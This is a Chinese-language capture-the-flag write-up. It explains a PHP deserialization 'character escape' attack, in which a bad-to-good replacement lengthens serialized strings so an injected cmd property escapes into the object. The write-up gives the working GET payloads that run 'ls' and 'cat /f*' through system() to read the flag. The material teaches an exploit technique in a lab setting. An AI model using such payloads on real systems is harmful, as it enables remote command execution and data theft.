起步,上代码:
<?php
highlight_file(__FILE__);
function waf($str){
return str_replace("bad","good",$str);
}
class GetFlag {
public $key;
public $cmd = "whoami";
public function __construct($key)
{
$this->key = $key;
}
public function __destruct()
{
system($this->cmd);
}
}
unserialize(waf(serialize(new GetFlag($_GET['key']))));
刚开始拿到这个题的时候,看到最后的两个序列化和反序列化的魔术方法就可以知道,这道题是个明显的反序列化的题目,之后,再看waf()函数这里边的str_replace()函数内的两个字符串长度不一样,则可以知道这是个很明显的字符串变长的字符串逃逸。
什么是字符逃逸呢:在反序列化的时候php会根据s所指定的字符长度去读取后边的字符,由于在序列化操作后又使用了str_replace()函数进行字符串替换,这就可能会改变字符串的长度,比如上面将bad替换为good,每替换掉一个bad,字符串长度明显就增加了1,而由于序列化之后s的值没变,但是进行了内容替换,改变了字符串长度,那么反序列化读取时,就并不能将原本的内容读取完全。而后面没有被读到的内容,也就是逃逸出来的字符串,就会被当做当前类的属性被继续执行。
接着就是,改代码存在system()函数,因此可以认为是一个rce并且没有相关的过滤,于是就可以想办法将cmd这一属性的值改为ls或者cat之类的Linux命令来执行。
因此,首先自己建立一个程序并将其复制进去,进行一个序列化,获取序列化后的参数,这时,截取
O:7:"GetFlag":2:{s:3:"key";s:3:"123";s:3:"cmd";s:6:"whoami";}
中的
123";s:3:"cmd";s:6:"whoami";}
并进行如下修改
badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:2:"ls";}
之后通过GET方式传递进去,看看能否执行,当然,答案是可以的,因此,我们接着修改cmd的参数为cat /f*来读取flag
?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:7:"cat /f*";}
最后,成功得到flag的值。